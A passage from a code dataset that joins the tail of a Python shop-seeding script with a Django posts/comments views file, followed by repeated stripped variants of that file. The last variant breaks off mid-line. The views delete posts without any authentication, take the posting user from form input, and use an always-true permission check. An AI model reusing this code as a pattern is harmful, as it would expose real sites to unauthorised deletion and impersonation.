CategoryItem(user_id=4, name=\"27 Inch Tyre\", description=\"A wonderfully resistant tyre with Smart Guard protection.\",\n price=\"$33.99\", picture=\"bike_tyres.jpg\", category=category4)\n\nsession.add(categoryItem4)\nsession.commit()\n\ncategoryItem5 = CategoryItem(user_id=4, name=\"Puncture Repair Kit\", description=\"Part of the essentials list when preparing for a bike ride.\",\n price=\"$15.99\", picture=\"puncture_repair_kit.jpg\", category=category4)\n\nsession.add(categoryItem5)\nsession.commit()\n\ncategoryItem6 = CategoryItem(user_id=4, name=\"White Stripe Crash Helmet\", description=\"Colourful and stylish streamlined biking helmet.\",\n price=\"$29.99\", picture=\"bike_helmet2.jpg\", category=category4)\n\nsession.add(categoryItem6)\nsession.commit()\n\n\n# Items for surfing category.\ncategory5 = Category(user_id=5, name=\"Surfing\")\n\nsession.add(category5)\nsession.commit()\n\n\ncategoryItem1 = CategoryItem(user_id=5, name=\"Surf Wax\", description=\"Essential surfboard traction.\",\n price=\"$7.50\", picture=\"surf_wax.jpg\", category=category5)\n\nsession.add(categoryItem1)\nsession.commit()\n\n\ncategoryItem2 = CategoryItem(user_id=5, name=\"Surfboard\", description=\"This versatile shape will glide you through the waves.\",\n price=\"$299.99\", picture=\"surfboard.jpg\", category=category5)\n\nsession.add(categoryItem2)\nsession.commit()\n\ncategoryItem3 = CategoryItem(user_id=5, name=\"Wetsuit\", description=\"Keep warm and protected in the cold months.\",\n price=\"$150.00\", picture=\"wetsuit.jpg\", category=category5)\n\nsession.add(categoryItem3)\nsession.commit()\n\ncategoryItem4 = CategoryItem(user_id=5, name=\"Flip Flops\", description=\"Blue, easy fit slip on.\",\n price=\"$3.99\", picture=\"flip_flops.jpg\", category=category5)\n\nsession.add(categoryItem4)\nsession.commit()\n\ncategoryItem5 = CategoryItem(user_id=5, name=\"Hat\", description=\"Hat for chilling in the beach sun.\",\n price=\"$7.99\", picture=\"flip_flops.jpg\", category=category5)\n\nsession.add(categoryItem5)\nsession.commit()\n\ncategoryItem6 = CategoryItem(user_id=5, name=\"Root Beer soaked flip-flops\", description=\"16oz of refreshing goodness poured over a fresh set of flip-flops\",\n price=\"$1.99\", picture=\"flip_flops.jpg\", category=category5)\n\nsession.add(categoryItem6)\nsession.commit()\n\nprint \"Added Category items and users!\"" ]
true
9,924
e9fab2bb49cfda00b8cfedafab0009f691d11ec9
from django.shortcuts import render, get_object_or_404, redirect from django.contrib.contenttypes.models import ContentType from User.forms import EditProfileForm from User import forms from django.db.models import Q from django.contrib import messages from django.urls import reverse from django.http import HttpResponseRedirect from posts.forms import * # Create your views here. from .models import Post from comments.models import * from comments.forms import * def post_create(request): form = PostForm(request.POST or None, request.FILES or None) if request.method == "POST": user= request.POST.get("user") title = request.POST.get("title") content = request.POST.get("content") PostStudent.objects.create(user=user, title=title,content=content) messages.success(request, "Successfully Posted") #if form.is_valid(): #instance = form.save(commit=False) #instance.save() context = { "form": form, } return render(request, "post/create_post.html", context) def temp_post(request): return render(request, 'post/Posts.html', {}) def temp_allpost(request): obj = Post.objects.all() context = {'obj': obj} return render(request, 'post/All_Post.html', context) def allpoststudents(request): if not request.user.is_staff or request.user.is_staff: obj = PostStudent.objects.all().order_by("-timestamp") query = request.GET.get("q") if query: obj = obj.filter( Q(title__icontains=query)| Q(content__icontains=query)| Q(user__icontains=query)| Q(timestamp__icontains=query) ).distinct() context = {'obj': obj} return render(request, 'post/All_Post_Students.html', context) def post_update(request, id=None): instance = get_object_or_404(Post, id=id) form = PostForm(request.POST or None, instance=instance) if form.is_valid(): instance = form.save(commit=False) instance.save() messages.success(request, "<a href='#'>Item </a>Saved", extra_tags='html_safe') return HttpResponseRedirect(instance.get_absolute_url()) context = { "title": instance.title, "instance": instance, "form": form, } return render(request, "post/create_post.html", context) def post_details(request, id=None): instance = get_object_or_404(Post, id=id) content_type = ContentType.objects.get_for_model(Post) obj_id = instance.id comments = Comment.objects.filter(content_type=content_type, object_id=obj_id) initial_data = { "content_type": content_type, "object_id": instance.id } form = CommentForm(request.POST or None, initial= initial_data) if form.is_valid(): c_type = form.cleaned_data.get("content_type") content_type = ContentType.objects.get(model=c_type) obj_id = form.cleaned_data.get("object_id") content_data = form.cleaned_data.get("content") parent_obj = None try: parent_id = int(request.POST.get("parent_id")) except: parent_id = None if parent_id: parent_qs = Comment.objects.filter(id=parent_id) if parent_qs.exists(): parent_obj = parent_qs.first() new_comment, created = Comment.objects.get_or_create( user = request.user, content_type = content_type, object_id = obj_id, content = content_data, parent = parent_obj, ) context = { "title":instance.title, "instance":instance, "comments": comments, "form": form, "obj_id": obj_id, } return render(request, "post/Posts.html", context) def post_details_student(request, id=None): instance = get_object_or_404(PostStudent, id=id) content_type = ContentType.objects.get_for_model(PostStudent) obj_id = instance.id comments = CommentStudent.objects.filter(content_type=content_type, object_id=obj_id) initial_data = { "content_type": content_type, "object_id": instance.id } form = CommentForm(request.POST or None, initial=initial_data) if form.is_valid(): c_type = form.cleaned_data.get("content_type") content_type = ContentType.objects.get(model=c_type) obj_id = form.cleaned_data.get("object_id") content_data = form.cleaned_data.get("content") parent_obj = None try: parent_id = int(request.POST.get("parent_id")) except: parent_id = None if parent_id: parent_qs = Comment.objects.filter(id=parent_id) if parent_qs.exists(): parent_obj = parent_qs.first() new_comment, created = CommentStudent.objects.get_or_create( user=request.user, content_type=content_type, object_id=obj_id, content=content_data, parent=parent_obj, ) context = { "title": instance.title, "instance": instance, "comments": comments, "form": form, "obj_id": obj_id, } return render(request, "post/post_details_student.html", context) def post_delete(request, id=None): instance = get_object_or_404(PostStudent, id=id) instance.delete() messages.success(request, "Successfully deleted") return render(request, 'post/All_Post_Students.html', {})
[ "from django.shortcuts import render, get_object_or_404, redirect\nfrom django.contrib.contenttypes.models import ContentType\nfrom User.forms import EditProfileForm\nfrom User import forms\nfrom django.db.models import Q\nfrom django.contrib import messages\nfrom django.urls import reverse\nfrom django.http import HttpResponseRedirect\nfrom posts.forms import *\n\n\n# Create your views here.\nfrom .models import Post\nfrom comments.models import *\nfrom comments.forms import *\n\n\ndef post_create(request):\n form = PostForm(request.POST or None, request.FILES or None)\n if request.method == \"POST\":\n user= request.POST.get(\"user\")\n title = request.POST.get(\"title\")\n content = request.POST.get(\"content\")\n PostStudent.objects.create(user=user, title=title,content=content)\n messages.success(request, \"Successfully Posted\")\n #if form.is_valid():\n #instance = form.save(commit=False)\n #instance.save()\n context = {\n \"form\": form,\n\n }\n return render(request, \"post/create_post.html\", context)\n\n\ndef temp_post(request):\n return render(request, 'post/Posts.html', {})\n\n\ndef temp_allpost(request):\n obj = Post.objects.all()\n context = {'obj': obj}\n return render(request, 'post/All_Post.html', context)\n\n\ndef allpoststudents(request):\n if not request.user.is_staff or request.user.is_staff:\n obj = PostStudent.objects.all().order_by(\"-timestamp\")\n query = request.GET.get(\"q\")\n if query:\n obj = obj.filter(\n Q(title__icontains=query)|\n Q(content__icontains=query)|\n Q(user__icontains=query)|\n Q(timestamp__icontains=query)\n ).distinct()\n context = {'obj': obj}\n return render(request, 'post/All_Post_Students.html', context)\n\n\ndef post_update(request, id=None):\n instance = get_object_or_404(Post, id=id)\n form = PostForm(request.POST or None, instance=instance)\n if form.is_valid():\n instance = form.save(commit=False)\n instance.save()\n messages.success(request, \"<a href='#'>Item </a>Saved\", extra_tags='html_safe')\n return HttpResponseRedirect(instance.get_absolute_url())\n\n context = {\n \"title\": instance.title,\n \"instance\": instance,\n \"form\": form,\n }\n return render(request, \"post/create_post.html\", context)\n\n\ndef post_details(request, id=None):\n instance = get_object_or_404(Post, id=id)\n content_type = ContentType.objects.get_for_model(Post)\n obj_id = instance.id\n comments = Comment.objects.filter(content_type=content_type, object_id=obj_id)\n initial_data = {\n \"content_type\": content_type,\n \"object_id\": instance.id\n }\n form = CommentForm(request.POST or None, initial= initial_data)\n if form.is_valid():\n c_type = form.cleaned_data.get(\"content_type\")\n content_type = ContentType.objects.get(model=c_type)\n obj_id = form.cleaned_data.get(\"object_id\")\n content_data = form.cleaned_data.get(\"content\")\n parent_obj = None\n try:\n parent_id = int(request.POST.get(\"parent_id\"))\n except:\n parent_id = None\n\n if parent_id:\n parent_qs = Comment.objects.filter(id=parent_id)\n if parent_qs.exists():\n parent_obj = parent_qs.first()\n\n new_comment, created = Comment.objects.get_or_create(\n user = request.user,\n content_type = content_type,\n object_id = obj_id,\n content = content_data,\n parent = parent_obj,\n )\n\n\n\n context = {\n \"title\":instance.title,\n \"instance\":instance,\n \"comments\": comments,\n \"form\": form,\n \"obj_id\": obj_id,\n }\n return render(request, \"post/Posts.html\", context)\n\n\ndef post_details_student(request, id=None):\n instance = get_object_or_404(PostStudent, id=id)\n content_type = ContentType.objects.get_for_model(PostStudent)\n obj_id = instance.id\n comments = CommentStudent.objects.filter(content_type=content_type, object_id=obj_id)\n initial_data = {\n \"content_type\": content_type,\n \"object_id\": instance.id\n }\n form = CommentForm(request.POST or None, initial=initial_data)\n if form.is_valid():\n c_type = form.cleaned_data.get(\"content_type\")\n content_type = ContentType.objects.get(model=c_type)\n obj_id = form.cleaned_data.get(\"object_id\")\n content_data = form.cleaned_data.get(\"content\")\n parent_obj = None\n try:\n parent_id = int(request.POST.get(\"parent_id\"))\n except:\n parent_id = None\n\n if parent_id:\n parent_qs = Comment.objects.filter(id=parent_id)\n if parent_qs.exists():\n parent_obj = parent_qs.first()\n\n new_comment, created = CommentStudent.objects.get_or_create(\n user=request.user,\n content_type=content_type,\n object_id=obj_id,\n content=content_data,\n parent=parent_obj,\n )\n\n context = {\n \"title\": instance.title,\n \"instance\": instance,\n \"comments\": comments,\n \"form\": form,\n \"obj_id\": obj_id,\n }\n return render(request, \"post/post_details_student.html\", context)\n\n\ndef post_delete(request, id=None):\n instance = get_object_or_404(PostStudent, id=id)\n instance.delete()\n messages.success(request, \"Successfully deleted\")\n return render(request, 'post/All_Post_Students.html', {})\n", "from django.shortcuts import render, get_object_or_404, redirect\nfrom django.contrib.contenttypes.models import ContentType\nfrom User.forms import EditProfileForm\nfrom User import forms\nfrom django.db.models import Q\nfrom django.contrib import messages\nfrom django.urls import reverse\nfrom django.http import HttpResponseRedirect\nfrom posts.forms import *\nfrom .models import Post\nfrom comments.models import *\nfrom comments.forms import *\n\n\ndef post_create(request):\n form = PostForm(request.POST or None, request.FILES or None)\n if request.method == 'POST':\n user = request.POST.get('user')\n title = request.POST.get('title')\n content = request.POST.get('content')\n PostStudent.objects.create(user=user, title=title, content=content)\n messages.success(request, 'Successfully Posted')\n context = {'form': form}\n return render(request, 'post/create_post.html', context)\n\n\ndef temp_post(request):\n return render(request, 'post/Posts.html', {})\n\n\ndef temp_allpost(request):\n obj = Post.objects.all()\n context = {'obj': obj}\n return render(request, 'post/All_Post.html', context)\n\n\ndef allpoststudents(request):\n if not request.user.is_staff or request.user.is_staff:\n obj = PostStudent.objects.all().order_by('-timestamp')\n query = request.GET.get('q')\n if query:\n obj = obj.filter(Q(title__icontains=query) | Q(content__icontains=\n query) | Q(user__icontains=query) | Q(timestamp__icontains=query)\n ).distinct()\n context = {'obj': obj}\n return render(request, 'post/All_Post_Students.html', context)\n\n\ndef post_update(request, id=None):\n instance = get_object_or_404(Post, id=id)\n form = PostForm(request.POST or None, instance=instance)\n if form.is_valid():\n instance = form.save(commit=False)\n instance.save()\n messages.success(request, \"<a href='#'>Item </a>Saved\", extra_tags=\n 'html_safe')\n return HttpResponseRedirect(instance.get_absolute_url())\n context = {'title': instance.title, 'instance': instance, 'form': form}\n return render(request, 'post/create_post.html', context)\n\n\ndef post_details(request, id=None):\n instance = get_object_or_404(Post, id=id)\n content_type = ContentType.objects.get_for_model(Post)\n obj_id = instance.id\n comments = Comment.objects.filter(content_type=content_type, object_id=\n obj_id)\n initial_data = {'content_type': content_type, 'object_id': instance.id}\n form = CommentForm(request.POST or None, initial=initial_data)\n if form.is_valid():\n c_type = form.cleaned_data.get('content_type')\n content_type = ContentType.objects.get(model=c_type)\n obj_id = form.cleaned_data.get('object_id')\n content_data = form.cleaned_data.get('content')\n parent_obj = None\n try:\n parent_id = int(request.POST.get('parent_id'))\n except:\n parent_id = None\n if parent_id:\n parent_qs = Comment.objects.filter(id=parent_id)\n if parent_qs.exists():\n parent_obj = parent_qs.first()\n new_comment, created = Comment.objects.get_or_create(user=request.\n user, content_type=content_type, object_id=obj_id, content=\n content_data, parent=parent_obj)\n context = {'title': instance.title, 'instance': instance, 'comments':\n comments, 'form': form, 'obj_id': obj_id}\n return render(request, 'post/Posts.html', context)\n\n\ndef post_details_student(request, id=None):\n instance = get_object_or_404(PostStudent, id=id)\n content_type = ContentType.objects.get_for_model(PostStudent)\n obj_id = instance.id\n comments = CommentStudent.objects.filter(content_type=content_type,\n object_id=obj_id)\n initial_data = {'content_type': content_type, 'object_id': instance.id}\n form = CommentForm(request.POST or None, initial=initial_data)\n if form.is_valid():\n c_type = form.cleaned_data.get('content_type')\n content_type = ContentType.objects.get(model=c_type)\n obj_id = form.cleaned_data.get('object_id')\n content_data = form.cleaned_data.get('content')\n parent_obj = None\n try:\n parent_id = int(request.POST.get('parent_id'))\n except:\n parent_id = None\n if parent_id:\n parent_qs = Comment.objects.filter(id=parent_id)\n if parent_qs.exists():\n parent_obj = parent_qs.first()\n new_comment, created = CommentStudent.objects.get_or_create(user=\n request.user, content_type=content_type, object_id=obj_id,\n content=content_data, parent=parent_obj)\n context = {'title': instance.title, 'instance': instance, 'comments':\n comments, 'form': form, 'obj_id': obj_id}\n return render(request, 'post/post_details_student.html', context)\n\n\ndef post_delete(request, id=None):\n instance = get_object_or_404(PostStudent, id=id)\n instance.delete()\n messages.success(request, 'Successfully deleted')\n return render(request, 'post/All_Post_Students.html', {})\n", "<import token>\n\n\ndef post_create(request):\n form = PostForm(request.POST or None, request.FILES or None)\n if request.method == 'POST':\n user = request.POST.get('user')\n title = request.POST.get('title')\n content = request.POST.get('content')\n PostStudent.objects.create(user=user, title=title, content=content)\n messages.success(request, 'Successfully Posted')\n context = {'form': form}\n return render(request, 'post/create_post.html', context)\n\n\ndef temp_post(request):\n return render(request, 'post/Posts.html', {})\n\n\ndef temp_allpost(request):\n obj = Post.objects.all()\n context = {'obj': obj}\n return render(request, 'post/All_Post.html', context)\n\n\ndef allpoststudents(request):\n if not request.user.is_staff or request.user.is_staff:\n obj = PostStudent.objects.all().order_by('-timestamp')\n query = request.GET.get('q')\n if query:\n obj = obj.filter(Q(title__icontains=query) | Q(content__icontains=\n query) | Q(user__icontains=query) | Q(timestamp__icontains=query)\n ).distinct()\n context = {'obj': obj}\n return render(request, 'post/All_Post_Students.html', context)\n\n\ndef post_update(request, id=None):\n instance = get_object_or_404(Post, id=id)\n form = PostForm(request.POST or None, instance=instance)\n if form.is_valid():\n instance = form.save(commit=False)\n instance.save()\n messages.success(request, \"<a href='#'>Item </a>Saved\", extra_tags=\n 'html_safe')\n return HttpResponseRedirect(instance.get_absolute_url())\n context = {'title': instance.title, 'instance': instance, 'form': form}\n return render(request, 'post/create_post.html', context)\n\n\ndef post_details(request, id=None):\n instance = get_object_or_404(Post, id=id)\n content_type = ContentType.objects.get_for_model(Post)\n obj_id = instance.id\n comments = Comment.objects.filter(content_type=content_type, object_id=\n obj_id)\n initial_data = {'content_type': content_type, 'object_id': instance.id}\n form = CommentForm(request.POST or None, initial=initial_data)\n if form.is_valid():\n c_type = form.cleaned_data.get('content_type')\n content_type = ContentType.objects.get(model=c_type)\n obj_id = form.cleaned_data.get('object_id')\n content_data = form.cleaned_data.get('content')\n parent_obj = None\n try:\n parent_id = int(request.POST.get('parent_id'))\n except:\n parent_id = None\n if parent_id:\n parent_qs = Comment.objects.filter(id=parent_id)\n if parent_qs.exists():\n parent_obj = parent_qs.first()\n new_comment, created = Comment.objects.get_or_create(user=request.\n user, content_type=content_type, object_id=obj_id, content=\n content_data, parent=parent_obj)\n context = {'title': instance.title, 'instance': instance, 'comments':\n comments, 'form': form, 'obj_id': obj_id}\n return render(request, 'post/Posts.html', context)\n\n\ndef post_details_student(request, id=None):\n instance = get_object_or_404(PostStudent, id=id)\n content_type = ContentType.objects.get_for_model(PostStudent)\n obj_id = instance.id\n comments = CommentStudent.objects.filter(content_type=content_type,\n object_id=obj_id)\n initial_data = {'content_type': content_type, 'object_id': instance.id}\n form = CommentForm(request.POST or None, initial=initial_data)\n if form.is_valid():\n c_type = form.cleaned_data.get('content_type')\n content_type = ContentType.objects.get(model=c_type)\n obj_id = form.cleaned_data.get('object_id')\n content_data = form.cleaned_data.get('content')\n parent_obj = None\n try:\n parent_id = int(request.POST.get('parent_id'))\n except:\n parent_id = None\n if parent_id:\n parent_qs = Comment.objects.filter(id=parent_id)\n if parent_qs.exists():\n parent_obj = parent_qs.first()\n new_comment, created = CommentStudent.objects.get_or_create(user=\n request.user, content_type=content_type, object_id=obj_id,\n content=content_data, parent=parent_obj)\n context = {'title': instance.title, 'instance': instance, 'comments':\n comments, 'form': form, 'obj_id': obj_id}\n return render(request, 'post/post_details_student.html', context)\n\n\ndef post_delete(request, id=None):\n instance = get_object_or_404(PostStudent, id=id)\n instance.delete()\n messages.success(request, 'Successfully deleted')\n return render(request, 'post/All_Post_Students.html', {})\n", "<import token>\n\n\ndef post_create(request):\n form = PostForm(request.POST or None, request.FILES or None)\n if request.method == 'POST':\n user = request.POST.get('user')\n title = request.POST.get('title')\n content = request.POST.get('content')\n PostStudent.objects.create(user=user, title=title, content=content)\n messages.success(request, 'Successfully Posted')\n context = {'form': form}\n return render(request, 'post/create_post.html', context)\n\n\ndef temp_post(request):\n return render(request, 'post/Posts.html', {})\n\n\n<function token>\n\n\ndef allpoststudents(request):\n if not request.user.is_staff or request.user.is_staff:\n obj = PostStudent.objects.all().order_by('-timestamp')\n query = request.GET.get('q')\n if query:\n obj = obj.filter(Q(title__icontains=query) | Q(content__icontains=\n query) | Q(user__icontains=query) | Q(timestamp__icontains=query)\n ).distinct()\n context = {'obj': obj}\n return render(request, 'post/All_Post_Students.html', context)\n\n\ndef post_update(request, id=None):\n instance = get_object_or_404(Post, id=id)\n form = PostForm(request.POST or None, instance=instance)\n if form.is_valid():\n instance = form.save(commit=False)\n instance.save()\n messages.success(request, \"<a href='#'>Item </a>Saved\", extra_tags=\n 'html_safe')\n return HttpResponseRedirect(instance.get_absolute_url())\n context = {'title': instance.title, 'instance': instance, 'form': form}\n return render(request, 'post/create_post.html', context)\n\n\ndef post_details(request, id=None):\n instance = get_object_or_404(Post, id=id)\n content_type = ContentType.objects.get_for_model(Post)\n obj_id = instance.id\n comments = Comment.objects.filter(content_type=content_type, object_id=\n obj_id)\n initial_data = {'content_type': content_type, 'object_id': instance.id}\n form = CommentForm(request.POST or None, initial=initial_data)\n if form.is_valid():\n c_type = form.cleaned_data.get('content_type')\n content_type = ContentType.objects.get(model=c_type)\n obj_id = form.cleaned_data.get('object_id')\n content_data = form.cleaned_data.get('content')\n parent_obj = None\n try:\n parent_id = int(request.POST.get('parent_id'))\n except:\n parent_id = None\n if parent_id:\n parent_qs = Comment.objects.filter(id=parent_id)\n if parent_qs.exists():\n parent_obj = parent_qs.first()\n new_comment, created = Comment.objects.get_or_create(user=request.\n user, content_type=content_type, object_id=obj_id, content=\n content_data, parent=parent_obj)\n context = {'title': instance.title, 'instance': instance, 'comments':\n comments, 'form': form, 'obj_id': obj_id}\n return render(request, 'post/Posts.html', context)\n\n\ndef post_details_student(request, id=None):\n instance = get_object_or_404(PostStudent, id=id)\n content_type = ContentType.objects.get_for_model(PostStudent)\n obj_id = instance.id\n comments = CommentStudent.objects.filter(content_type=content_type,\n object_id=obj_id)\n initial_data = {'content_type': content_type, 'object_id': instance.id}\n form = CommentForm(request.POST or None, initial=initial_data)\n if form.is_valid():\n c_type = form.cleaned_data.get('content_type')\n content_type = ContentType.objects.get(model=c_type)\n obj_id = form.cleaned_data.get('object_id')\n content_data = form.cleaned_data.get('content')\n parent_obj = None\n try:\n parent_id = int(request.POST.get('parent_id'))\n except:\n parent_id = None\n if parent_id:\n parent_qs = Comment.objects.filter(id=parent_id)\n if parent_qs.exists():\n parent_obj = parent_qs.first()\n new_comment, created = CommentStudent.objects.get_or_create(user=\n request.user, content_type=content_type, object_id=obj_id,\n content=content_data, parent=parent_obj)\n context = {'title': instance.title, 'instance': instance, 'comments':\n comments, 'form': form, 'obj_id': obj_id}\n return render(request, 'post/post_details_student.html', context)\n\n\ndef post_delete(request, id=None):\n instance = get_object_or_404(PostStudent, id=id)\n instance.delete()\n messages.success(request, 'Successfully deleted')\n return render(request, 'post/All_Post_Students.html', {})\n", "<import token>\n\n\ndef post_create(request):\n form = PostForm(request.POST or None, request.FILES or None)\n if request.method == 'POST':\n user = request.POST.get('user')\n title = request.POST.get('title')\n content = request.POST.get('content')\n PostStudent.objects.create(user=user, title=title, content=content)\n messages.success(request, 'Successfully Posted')\n context = {'form': form}\n return render(request, 'post/create_post.html', context)\n\n\ndef temp_post(request):\n return render(request, 'post/Posts.html', {})\n\n\n<function token>\n\n\ndef allpoststudents(request):\n if not request.user.is_staff or request.user.is_staff:\n obj = PostStudent.objects.all().order_by('-timestamp')\n query = request.GET.get('q')\n if query:\n obj = obj.filter(Q(title__icontains=query) | Q(content__icontains=\n query) | Q(user__icontains=query) | Q(timestamp__icontains=query)\n ).distinct()\n context = {'obj': obj}\n return render(request, 'post/All_Post_Students.html', context)\n\n\ndef post_update(request, id=None):\n instance = get_object_or_404(Post, id=id)\n form = PostForm(request.POST or None, instance=instance)\n if form.is_valid():\n instance = form.save(commit=False)\n instance.save()\n messages.success(request, \"<a href='#'>Item </a>Saved\", extra_tags=\n 'html_safe')\n return HttpResponseRedirect(instance.get_absolute_url())\n context = {'title': instance.title, 'instance': instance, 'form': form}\n return render(request, 'post/create_post.html', context)\n\n\ndef post_details(request, id=None):\n instance = get_object_or_404(Post, id=id)\n content_type = ContentType.objects.get_for_model(Post)\n obj_id = instance.id\n comments = Comment.objects.filter(content_type=content_type, object_id=\n obj_id)\n initial_data = {'content_type': content_type, 'object_id': instance.id}\n form = CommentForm(request.POST or None, initial=initial_data)\n if form.is_valid():\n c_type = form.cleaned_data.get('content_type')\n content_type = ContentType.objects.get(model=c_type)\n obj_id = form.cleaned_data.get('object_id')\n content_data = form.cleaned_data.get('content')\n parent_obj = None\n try:\n parent_id = int(request.POST.get('parent_id'))\n except:\n parent_id = None\n if parent_id:\n parent_qs = Comment.objects.filter(id=parent_id)\n if parent_qs.exists():\n parent_obj = parent_qs.first()\n new_comment, created = Comment.objects.get_or_create(user=request.\n user, content_type=content_type, object_id=obj_id, content=\n content_data, parent=parent_obj)\n context = {'title': instance.title, 'instance': instance, 'comments':\n comments, 'form': form, 'obj_id': obj_id}\n return render(request, 'post/Posts.html', context)\n\n\ndef post_details_student(request, id=None):\n instance = get_object_or_404(PostStudent, id=id)\n content_type = ContentType.objects.get_for_model(PostStudent)\n obj_id = instance.id\n comments = CommentStudent.objects.filter(content_type=content_type,\n object_id=obj_id)\n initial_data = {'content_type': content_type, 'object_id': instance.id}\n form = CommentForm(request.POST or None, initial=initial_data)\n if form.is_valid():\n c_type = form.cleaned_data.get('content_type')\n content_type = ContentType.objects.get(model=c_type)\n obj_id = form.cleaned_data.get('object_id')\n content_data = form.cleaned_data.get('content')\n parent_obj = None\n try:\n parent_id = int(request.POST.get('parent_id'))\n except:\n parent_id = None\n if parent_id:\n parent_qs = Comment.objects.filter(id=parent_id)\n if parent_qs.exists():\n parent_obj = parent_qs.first()\n new_comment, created = CommentStudent.objects.get_or_create(user=\n request.user, content_type=content_type, object_id=obj_id,\n content=content_data, parent=parent_obj)\n context = {'title': instance.title, 'instance': instance, 'comments':\n comments, 'form': form, 'obj_id': obj_id}\n return render(request, 'post/post_details_student.html', context)\n\n\n<function token>\n", "<import token>\n\n\ndef post_create(request):\n form = PostForm(request.POST or None, request.FILES or None)\n if request.method == 'POST':\n user = request.POST.get('user')\n title = request.POST.get('title')\n content = request.POST.get('content')\n PostStudent.objects.create(user=user, title=title, content=content)\n messages.success(request, 'Successfully Posted')\n context = {'form': form}\n return render(request, 'post/create_post.html', context)\n\n\ndef temp_post(request):\n return render(request, 'post/Posts.html', {})\n\n\n<function token>\n\n\ndef allpoststudents(request):\n if not request.user.is_staff or request.user.is_staff:\n obj = PostStudent.objects.all().order_by('-timestamp')\n query = request.GET.get('q')\n if query:\n obj = obj.filter(Q(title__icontains=query) | Q(content__icontains=\n query) | Q(user__icontains=query) | Q(timestamp__icontains=query)\n ).distinct()\n context = {'obj': obj}\n return render(request, 'post/All_Post_Students.html', context)\n\n\n<function token>\n\n\ndef post_details(request, id=None):\n instance = get_object_or_404(Post, id=id)\n content_type = ContentType.objects.get_for_model(Post)\n obj_id = instance.id\n comments = Comment.objects.filter(content_type=content_type, object_id=\n obj_id)\n initial_data = {'content_type': content_type, 'object_id': instance.id}\n form = CommentForm(request.POST or None, initial=initial_data)\n if form.is_valid():\n c_type = form.cleaned_data.get('content_type')\n content_type = ContentType.objects.get(model=c_type)\n obj_id = form.cleaned_data.get('object_id')\n content_data = form.cleaned_data.get('content')\n parent_obj = None\n try:\n parent_id = int(request.POST.get('parent_id'))\n except:\n parent_id = None\n if parent_id:\n parent_qs = Comment.objects.filter(id=parent_id)\n if parent_qs.exists():\n parent_obj = parent_qs.first()\n new_comment, created = Comment.objects.get_or_create(user=request.\n user, content_type=content_type, object_id=obj_id, content=\n content_data, parent=parent_obj)\n context = {'title': instance.title, 'instance': instance, 'comments':\n comments, 'form': form, 'obj_id': obj_id}\n return render(request, 'post/Posts.html', context)\n\n\ndef post_details_student(request, id=None):\n instance = get_object_or_404(PostStudent, id=id)\n content_type = ContentType.objects.get_for_model(PostStudent)\n obj_id = instance.id\n comments = CommentStudent.objects.filter(content_type=content_type,\n object_id=obj_id)\n initial_data = {'content_type': content_type, 'object_id': instance.id}\n form = CommentForm(request.POST or None, initial=initial_data)\n if form.is_valid():\n c_type = form.cleaned_data.get('content_type')\n content_type = ContentType.objects.get(model=c_type)\n obj_id = form.cleaned_data.get('object_id')\n content_data = form.cleaned_data.get('content')\n parent_obj = None\n try:\n parent_id = int(request.POST.get('parent_id'))\n except:\n parent_id = None\n if parent_id:\n parent_qs = Comment.objects.filter(id=parent_id)\n if parent_qs.exists():\n parent_obj = parent_qs.first()\n new_comment, created = CommentStudent.objects.get_or_create(user=\n request.user, content_type=content_type, object_id=obj_id,\n content=content_data, parent=parent_obj)\n context = {'title': instance.title, 'instance': instance, 'comments':\n comments, 'form': form, 'obj_id': obj_id}\n return render(request, 'post/post_details_student.html', context)\n\n\n<function token>\n", "<import token>\n\n\ndef post_create(request):\n form = PostForm(request.POST or None, request.FILES or None)\n if request.method == 'POST':\n user = request.POST.get('user')\n title = request.POST.get('title')\n content = request.POST.get('content')\n PostStudent.objects.create(user=user, title=title, content=content)\n messages.success(request, 'Successfully Posted')\n context = {'form': form}\n return render(request, 'post/create_post.html', context)\n\n\ndef temp_post(request):\n return render(request, 'post/Posts.html', {})\n\n\n<function token>\n\n\ndef allpoststudents(request):\n if not request.user.is_staff or request.user.is_staff:\n obj = PostStudent.objects.all().order_by('-timestamp')\n query = request.GET.get('q')\n if query:\n obj = obj.filter(Q(title__icontains=query) | Q(content__icontains=\n query) | Q(user__icontains=query) | Q(timestamp__icontains=query)\n ).distinct()\n context = {'obj': obj}\n return render(request, 'post/All_Post_Students.html', context)\n\n\n<function token>\n<function token>\n\n\ndef post_details_student(request, id=None):\n instance = get_object_or_404(PostStudent, id=id)\n content_type = ContentType.objects.get_for_model(PostStudent)\n obj_id = instance.id\n comments = CommentStudent.objects.filter(content_type=content_type,\n object_id=obj_id)\n initial_data = {'content_type': content_type, 'object_id': instance.id}\n form = CommentForm(request.POST or None, initial=initial_data)\n if form.is_valid():\n c_type = form.cleaned_data.get('content_type')\n content_type = ContentType.objects.get(model=c_type)\n obj_id = form.cleaned_data.get('object_id')\n content_data = form.cleaned_data.get('content')\n parent_obj = None\n try:\n parent_id = int(request.POST.get('parent_id'))\n except:\n parent_id = None\n if parent_id:\n parent_qs = Comment.objects.filter(id=parent_id)\n if parent_qs.exists():\n parent_obj = parent_qs.first()\n new_comment, created = CommentStudent.objects.get_or_create(user=\n request.user, content_type=content_type, object_id=obj_id,\n content=content_data, parent=parent_obj)\n context = {'title': instance.title, 'instance': instance, 'comments':\n comments, 'form': form, 'obj_id': obj_id}\n return render(request, 'post/post_details_student.html', context)\n\n\n<function token>\n", "<import token>\n<function token>\n\n\ndef temp_post(request):\n return render(request, 'post/Posts.html', {})\n\n\n<function token>\n\n\ndef allpoststudents(request):\n if not request.user.is_staff or request.user.is_staff:\n obj = PostStudent.objects.all().order_by('-timestamp')\n query = request.GET.get('q')\n if query:\n obj = obj.filter(Q(title__icontains=query) | Q(content__icontains=\n query) | Q(user__icontains=query) | Q(timestamp__icontains=query)\n ).distinct()\n context = {'obj': obj}\n return render(request, 'post/All_Post_Students.html', context)\n\n\n<function token>\n<function token>\n\n\ndef post_details_student(request, id=None):\n instance = get_object_or_404(PostStudent, id=id)\n content_type = ContentType.objects.get_for_model(PostStudent)\n obj_id = instance.id\n comments = CommentStudent.objects.filter(content_type=content_type,\n object_id=obj_id)\n initial_data = {'content_type': content_type, 'object_id': instance.id}\n form = CommentForm(request.POST or None, initial=initial_data)\n if form.is_valid():\n c_type = form.cleaned_data.get('content_type')\n content_type = ContentType.objects.get(model=c_type)\n obj_id = form.cleaned_data.get('object_id')\n content_data = form.cleaned_data.get('content')\n parent_obj = None\n try:\n parent_id = int(request.POST.get('parent_id'))\n except:\n parent_id = None\n if parent_id:\n parent_qs = Comment.objects.filter(id=parent_id)\n if parent_qs.exists():\n parent_obj = parent_qs.first()\n new_comment, created = 